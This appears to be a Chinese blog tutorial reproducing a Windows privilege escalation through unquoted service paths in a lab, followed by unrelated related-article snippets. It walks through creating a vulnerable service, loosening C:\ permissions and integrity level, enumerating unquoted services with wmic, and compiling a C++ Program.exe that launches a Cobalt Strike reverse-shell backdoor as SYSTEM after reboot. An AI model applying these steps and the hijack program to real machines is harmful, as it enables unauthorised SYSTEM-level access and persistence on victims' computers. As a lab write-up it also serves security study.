[权限提升] Wdinwos 提权 维持 — 系统错误配置提权 - Trusted Service Paths 提权

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:Trusted Service Paths 提权原理

Windows 的服务通常都是以 System 权限运行的,所以系统在解析服务的可执行文件路径中的空格的时候也会以 System 权限进行解析,如果我们能够利用这一特性,就有机会提升权限。

如果在注册表中存在没有被引号包裹的服务路径,且该服务路径中存在空格,比如下面这样的服务路径,就很可能造成攻击者的提权:

 C:\Program Files\Service Folder\testService.exe

针对上面这种服务路径,由于空格的截断以及 Windows 自身的系统特性,导致其实际解析流程如下:

 C:\Program.exeC:\Program Files\Service.exeC:\Program Files\Service Folder\testService.exe

系统以空格作为分割符,首先找 C:\Program.exe 尝试运行,如果不存在该程序,则去启动 C:\Program Files\Service.exe 去尝试运行,若依旧不存在该程序,则再尝试去执行 C:\Program Files\Service Folder\testService.exe。注意了,此时都是以 SYSTEM 权限进行执行的。

所以我们只要在相应的目录下制作一个恶意的程序,让系统重启时以 SYSTEM 权限执行即可。所以,使用 Trusted Service Paths 进行提权的条件如下:

  1. 服务中存在没有被引号包裹的路径,且该路径中包含空格。

  2. 当前用户具有到对应目录下写文件的权限。

  3. 服务被系统高权限用户启动。

0x02:Trusted Service Paths 提权环境配置

复现环境

  • 靶机 Windows 7:IP 192.168.0.124

  • 攻击机 Kali Linux:IP 192.168.0.100,安装了 Cobalt Strike 服务端

  • 攻击机 Windows 11:IP 192.168.0.1,安装了 Cobalt Strike 客户端,还配备了 C++ 环境

0x0201:创建不安全的服务

首先以 Administrator 系统最高管理员的身份登录 Windows 7(该用户需要手动启动,可以前参考前面的 操作系统权限介绍 中的内容),在 C:\Program Files 文件夹下创建一个 Service Folder 文件夹,假设这个文件夹就是管理员用来存放自己配置的服务的:

然后在其中手动创建一个 testService.exe 文件(这个文件啥内容都没有),假设这个就是管理员配置的系统服务程序:

然后调出 CMD 命令行,使用下面的命令,将这个程序添加进系统服务配置中,并将启动项方式设置为 Auto,以确保系统重启时会自动运行该程序:

 sc create "testService" binpath= "C:\Program Files\Service Folder\testService.exe" start= auto​# "testService" => 你注册的服务的名称# binpath => 你注册服务的程序路径# start => 注册服务的启动方式,auto 为开机自启

0x0202:查询系统服务启动方式和权限

1. 通过 CMD 命令行查询

在 CMD 命令行窗口中输入如下命令,查询 testService 启动方式和执行权限:

 sc qc testService

2. 通过 Windows 服务功能查看

按住 Win + R 打开 “运行” 对话框,往里头填入 “services.msc” 命令即可调用 Windows 服务功能:

然后在该功能中,我们可以很轻松的就定位到我们刚刚创建的 testService 服务:

如上,testService 服务的可执行文件路径没有被引号包裹,且路径中存在空格,非常符合我们漏洞复现的要求。

如果你仔细在这里面翻找服务,可以看到,大部分的服务可执行文件路径似乎都没有加引号,然后为了给读者涨涨见识,下面贴出一张路径加了引号的服务图片,像这种服务就是无法利用的:

0x0203:为用户配置对应目录写入权限

1. 查看对应目录用户权限

在前面的配置中,我们创建了一个不安全的系统服务,对应的程序路径是:

 C:\Program Files\Service Folder\testService.exe

针对该路径,为了让后续渗透方利用的舒心,我们还要给低权限用户配置一个对应路径的写权限,针对上面这个文件,我们需要配置的低权限用户具有写入权限的路径有(选一个即可):

 C:\C:\Program Files\C:\Program Files\Service Folder\ # 如果对该目录有读写修改权限,我们可以直接重写服务内容

我们先来查看一下上面这两个目录的默认配置(由于是 C 盘,所以默认权限都限制的比较严格):

 icacls "C:\\"               # 查询 C:\ 目录下的权限icacls "C:\\Program Files"  # 查询 C:\Program Files 目录下的权限icacls "C:\\Program Files\\Service Folder"

如上,可以看到,针对 C:\ 目录,Users 用户组的普通用户只有 RX 读取和执行权限,没有写入权限,所以为了后续的漏洞利用,我们还需要赋予普通用户目录写入的权限。同时,我们还注意到,该目录的完整性级别为 High Mandatory Level,证明只有管理员级别的用户可以访问该目录,我们的普通用户是无法操作此目录的,所以我们后续还需要降低目录的完整性级别。

icacls 标识对应的权限

W:写权限;R 读权限;X 执行权限;F 完全访问权限;M 修改权限。

2. 赋予用户对应目录写入权限

下面我们针对 C:\ 目录,赋予低权限用户写入权限。

2.1 赋予用户对应目录写入权限 — 命令行方式

输入下面的命令,赋予系统内置的 Users 用户组对应目录(C:\)的写入权限:

 icacls "C:\\" /grant "BUILTIN\Users":(w) # 授予用户组对应目录写权限

如上,系统内置的 Users 用户组已经成功获得了对应目录的写权限。但是其实此时 Users 用户组中的用户还是无法在 C:\ 目录下创建文件的,因为被 C:\ 的目录完整性级别限制了,所以我们还得降低 C:\ 目录的完整性级别,让 Users 用户组得以写文件到目标路径。

3. (可选)降低目录/文件完整性级别

我们上面通过 icacls 工具设置的是目录的 NTFS 权限,NTFS(New Technology File System)是 Windows 操作系统中常用的文件系统,它支持对文件和目录设置详细的权限控制。

但是我们这边讲解的 ”完整性级别“ 是独立于 NTFS 权限的一种安全机制。即使 NTFS 权限允许访问了,如果完整性级别不匹配,访问仍然会被拒绝。 所以这里,我们就需要降低C:\ 目录的完整性级别,以允许低级别用户进行操作。

3.1 目录/文件完整性级别介绍

完整性级别是 Windows 中用于控制资源访问的安全机制,通常与用户账户控制(UAC)相关。

Windows 中的完整性级别分为以下几种:

  • Low(L):最低级别,通常用于浏览器等低权限进程。

  • Medium(M):默认级别,普通用户进程运行在此级别。

  • High(H):管理员权限进程运行在此级别。

  • System(S):系统内核和核心服务运行在此级别。

Windows 完整性级别的使用场景可以分为以下几个方面:

3.1.1 降低权限:将完整性设置为 Low(L)
  • 场景:

    • 适用于需要严格限制访问权限的目录或文件。

    • 通常用于隔离低信任度的应用程序或数据(如浏览器缓存、临时文件等)。

  • 作用:

    • 只有运行在 Low(L)完整性级别的进程(如浏览器沙盒)可以访问这些资源。

    • 运行在 Medium(M)或更高完整性级别的进程(如普通用户程序)无法访问。

  • 示例:

    • 将浏览器下载目录的完整性级别设置为 Low,以防止恶意软件通过下载的文件影响系统。

icacls "C:\Downloads" /setintegritylevel L
3.1.2 恢复默认:将完整性级别设置为 Medium(M)
  • 场景:

    • 适用于普通用户目录或文件,恢复默认的访问权限。

    • 当目录或文件的完整性级别被错误地设置为 Low 或 High 时,可以使用此操作恢复默认。

  • 作用:

    • 运行运行在 Medium(M)或更高完整性级别的进程访问。

    • 这是大多数用户程序和文件的默认级别。

  • 示例:

    • 将某个目录恢复为默认的完整性级别:

icacls "C:\ExampleFolder" /setintegritylevel M
3.1.3 提高权限:将完整性级别设置为 High(H)
  • 场景:

    • 适用于需要高安全性的目录或文件。

    • 通常用于保护系统关键文件或管理员专用文件。

  • 作用:

    • 只有运行在 High(H)或 System(S)完整性级别的进程(如管理员程序)可以访问。

    • 运行在 Medium(M)或更低完整性级别的进程(如普通用户程序)无法访问。

  • 示例:

    • 将某个包含敏感数据的目录设置为 High,以限制只有管理员可以访问:

icacls "C:\SensitiveData" /setintegritylevel H
3.2 降低 C:\ 目录完整性级别

输入下面的命令,修改 C:\ 目录完整性为 Medium,以允许普通用户对该目录有操作权限:

icacls "C:\\" /setintegritylevel M

4. 提权环境检查

我们切换到 Windows 系统中的一个标准用户,笔者这里选择的是 test01 用户:

然后跑到 C:\ 下,看看我们可不可以新建文本文件,如果可以,证明你的环境就 OK 了:

0x03:Trusted Service Paths 提权漏洞复现

0x0301:拿到靶机低权限用户 Shell

既然是提权,我们肯定得先拿到靶机的一个低权限用户,此处,我们就以上面的一般用户 test01 为例,来演示如何提权到 SYSTEM。

在 Kali 上开启 CS 服务端,并在 Windows 11 辅助机上使用 CS 客户端进行连接:

我们在 CS 中创建一个监听器,监听 CS 服务端的 4444 端口。然后使用该监听器创建一个 Windows 后门程序 artifact.exe,并上传到 Windows 7 靶机中:

双击 artifact.exe 文件,获取靶机的低权限 Shell:

下面,我们就要开始使用 Trusted Service Paths 进行提权了。

0x0302:定位不安全的服务

在 CS 中输入下面的命令,定位靶机中没有配置引号,且带有空格路径的服务:

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v """

如上成功发现有一个服务十分符合我们的要求,整理一下显示如下:

name        : testService
displayname : testService
pathname    : C:\Program Files\Service Folder\testService.exe
startmode   : Auto

0x0303:检查特定目录是否具有写权限

针对上面获得的那个服务,我们可以利用的提权路径有以下几条:

C:\
C:\Program Files\
C:\Program Files\Service Folder\

我们先来查看以下我们当前用户所属的组:

whoami /groups

如上,我们当前用户属于本地的 Users 用户组,具有 Medium 的完整性级别。知道了这些信息,接下里,我们来一个一个查看目录权限,看我们对其是否具有写入权限:

icacls "C:\\"

如上,C:\ 是一个可被利用的目录。

0x0304:制作服务劫持程序

在前面的信息收集中,我们发现目标靶机上存在一个可被利用的服务,其服务程序路径为:

C:\Program Files\Service Folder\testService.exe

又通过信息收集,发现了当前用户对 C:\ 具有写权限。所以接下来,我们将要在目标的 C:\ 目录下,创建一个 Program.exe 程序,利用 Windows 服务执行特性,进行提权。

这里我们采用 C++ 来制作恶意程序(因为 C 程序编译后会直接生成一个 exe 文件,采用其他编程语言的话你还得自己打包,很麻烦),下面是程序代码:

#include <stdio.h>
#include <stdlib.h>int main() {system("cmd.exe /c C:\\Users\\test01\\Desktop\\artifact.exe");return 0;
}

这个程序的逻辑很简单,运行后,会通过 CMD 执行一遍我们用 CS 制作的 Windows 反弹连接的木马文件(我们前面拿到靶机的低权限 Shell 就是用的这个文件)。

将上面的程序编译后,保存为 Program.exe,并将该 EXE 文件上传到靶机的 C:\ 下:

0x0305:等待靶机重启 & 提权成功

当我们将上面这一切都准备好后,接下来就是等待管理员重启计算机了。因为只有重启计算机了,那些开机自启的服务才会自动执行,只有服务被执行,才会触发我们刚刚创建的劫持文件。

这里,我们手动重启一下靶机(一般低权限用户是无法重启电脑的)。重启后靶机显示如下(可能是笔者制作的木马的问题,当然,更可能是木马存放路径的问题):

显示 C:\Program.exe 文件有问题,其实已经证明了 Windows 服务的解析漏洞是存在的。等待一会,即可看到 CS 上上线了目标靶机的 SYSTEM 用户,证明我们提权成功:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/11367.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【01】共识机制

BTF共识 拜占庭将军问题 拜占庭将军问题是一个共识问题 起源 Leslie Lamport在论文《The Byzantine Generals Problem》提出拜占庭将军问题。 核心描述 军中可能有叛徒&#xff0c;却要保证进攻一致&#xff0c;由此引申到计算领域&#xff0c;发展成了一种容错理论。随着…

本地部署DeepSeek教程(Mac版本)

第一步、下载 Ollama 官网地址&#xff1a;Ollama 点击 Download 下载 我这里是 macOS 环境 以 macOS 环境为主 下载完成后是一个压缩包&#xff0c;双击解压之后移到应用程序&#xff1a; 打开后会提示你到命令行中运行一下命令&#xff0c;附上截图&#xff1a; 若遇…

【Redis】Redis 经典面试题解析:深入理解 Redis 的核心概念与应用

Redis 是一个高性能的键值存储系统&#xff0c;广泛应用于缓存、消息队列、排行榜等场景。在面试中&#xff0c;Redis 是一个高频话题&#xff0c;尤其是其核心概念、数据结构、持久化机制和高可用性方案。 1. Redis 是什么&#xff1f;它的主要特点是什么&#xff1f; 答案&a…

JavaWeb入门-请求响应(Day3)

(一)请求响应概述 请求(HttpServletRequest):获取请求数据 响应(HttpServletResponse):设置响应数据 BS架构:Browser/Server,浏览器/服务器架构模式。客户端只需要浏览器就可访问,应用程序的逻辑和数据都存储在服务端(维护方便,响应速度一般) CS架构:Client/ser…

基于UKF-IMM无迹卡尔曼滤波与交互式多模型的轨迹跟踪算法matlab仿真,对比EKF-IMM和UKF

目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.本算法原理 5.完整程序 1.程序功能描述 基于UKF-IMM无迹卡尔曼滤波与交互式多模型的轨迹跟踪算法matlab仿真,对比EKF-IMM和UKF。 2.测试软件版本以及运行结果展示 MATLAB2022A版本运行 3.核心程序 .…

笔灵ai写作技术浅析(三):深度学习

笔灵AI写作的深度学习技术主要基于Transformer架构,尤其是GPT(Generative Pre-trained Transformer)系列模型。 1. Transformer架构 Transformer架构由Vaswani等人在2017年提出,是GPT系列模型的基础。它摒弃了传统的循环神经网络(RNN)和卷积神经网络(CNN),完全依赖自…

FFmpeg(7.1版本)在Ubuntu18.04上的编译

一、从官网上下载FFmpeg源码 官网地址:Download FFmpeg 点击Download Source Code 下载源码到本地电脑上 二、解压包 tar -xvf ffmpeg-7.1.tar.xz 三、配置configure 1.准备工作 安装编译支持的软件 ① sudo apt-get install nasm //常用的汇编器,用于编译某些需要汇编…

何谓共赢?

A和B是人或组织&#xff0c;他们怎样的合作才是共赢呢&#xff1f; 形态1:A提供自己的身份证等个人信息&#xff0c;B用来作贷款等一些事务&#xff0c;A每月得到一笔钱。 A的风险远大于收益&#xff0c;或者B从事的是非法行为&#xff1b; 形态2:A单方面提前终止了与B的合作…

项目练习:重写若依后端报错cannot be cast to com.xxx.model.LoginUser

文章目录 一、情景说明二、解决办法 一、情景说明 在重写若依后端服务的过程中 使用了Redis存放LoginUser对象数据 那么&#xff0c;有存就有取 在取值的时候&#xff0c;报错 二、解决办法 方法1、在TokenService中修改如下 getLoginUser 方法中&#xff1a;LoginUser u…

2 MapReduce

2 MapReduce 1. MapReduce 介绍1.1 MapReduce 设计构思 2. MapReduce 编程规范3. Mapper以及Reducer抽象类介绍1.Mapper抽象类的基本介绍2.Reducer抽象类基本介绍 4. WordCount示例编写5. MapReduce程序运行模式6. MapReduce的运行机制详解6.1 MapTask 工作机制6.2 ReduceTask …

ASP.NET Core与配置系统的集成

目录 配置系统 默认添加的配置提供者 加载命令行中的配置。 运行环境 读取方法 User Secrets 注意事项 Zack.AnyDBConfigProvider 案例 配置系统 默认添加的配置提供者 加载现有的IConfiguration。加载项目根目录下的appsettings.json。加载项目根目录下的appsettin…

Clion开发STM32时使用stlink下载程序与Debug调试

一、下载程序 先创建一个文件夹&#xff1a; 命名&#xff1a;stlink.cfg 写入以下代码: # choose st-link/j-link/dap-link etc. #adapter driver cmsis-dap #transport select swdsource [find interface/stlink.cfg]transport select hla_swdsource [find target/stm32f4x.…

低成本、高附加值,具有较强的可扩展性和流通便利性的行业

目录 虚拟资源类 1. 网课教程 2. 设计素材 3. 软件工具 服务类 1. 写作服务 2. 咨询顾问 3. 在线教育 4. 社交媒体管理 虚拟资源类 1. 网课教程 特点&#xff1a;高附加值&#xff0c;可复制性强&#xff0c;市场需求大。 执行流程&#xff1a; 选择领域&#xff1a…

54. 螺旋矩阵

【题目】&#xff1a;54. 螺旋矩阵 class Solution { public:vector<int> spiralOrder(vector<vector<int>>& matrix) {int startx 0, starty 0; // 起始坐标vector<int> res;int m matrix.size(), n matrix[0].size();int count min(m, n) …

elasticsearch8.15 高可用集群搭建(含认证Kibana)

文章目录 1.资源配置2.系统参数优化3.JDK17安装4.下载&安装ES 8.155.生成ES的证书(用于ES节点之间进行安全数据传输)6.修改ES 相关配置文件7.创建es用户并启动8.配置ES的账号和密码(用于ES服务端和客户端)9.下载和安装Kibana10.编辑Kibana配置文件11.启动Kiabana12.访问Kia…

消息队列篇--原理篇--常见消息队列总结(RabbitMQ,Kafka,ActiveMQ,RocketMQ,Pulsar)

1、RabbitMQ 特点&#xff1a; AMQP协议&#xff1a;RabbitMQ是基于AMQP&#xff08;高级消息队列协议&#xff09;构建的&#xff0c;支持多种消息传递模式&#xff0c;如发布/订阅、路由、RPC等。多语言支持&#xff1a;支持多种编程语言的客户端库&#xff0c;包括Java、P…

使用 DeepSeek-R1 等推理模型将 RAG 转换为 RAT,以实现更智能的 AI

使用 DeepSeek-R1 等推理模型将 RAG 转换为 RAT&#xff0c;以实现更智能的 AI 传统的检索增强生成&#xff08;RAG&#xff09;系统在生成具备上下文感知的答案方面表现出色。然而&#xff0c;它们往往存在以下不足&#xff1a; 精确性不足&#xff1a;单次推理可能会忽略复杂…

model calibration

如果模型的输出不是概率, 或者模型没有well calibrated的时候, 需要对模型进行calibrate: 具体方法如下: 首先需要用training data训练一个model然后通过测试数据来画图看看模型是否well calibrated 例如猫狗分类中, 将属于猫的对应概率落到相应的桶中。 然后计算桐中真正属…

记录 | 基于MaxKB的文字生成视频

目录 前言一、安装SDK二、创建视频函数库三、调试更新时间 前言 参考文章&#xff1a;如何利用智谱全模态免费模型&#xff0c;生成大家都喜欢的图、文、视并茂的文章&#xff01; 自己的感想 本文记录了创建文字生成视频的函数库的过程。如果想复现本文&#xff0c;需要你逐一…

构建具身智能体的时空宇宙!GRUtopia:畅想城市规模下通用机器人的生活图景

作者&#xff1a; Hanqing Wang, Jiahe Chen, Wensi Huang, Qingwei Ben, Tai Wang, Boyu Mi, Tao Huang, Siheng Zhao, Yilun Chen, Sizhe Yang, Peizhou Cao, Wenye Yu, Zichao Ye, Jialun Li, Junfeng Long, Zirui Wang, Huiling Wang, Ying Zhao, Zhongying Tu, Yu Qiao, D…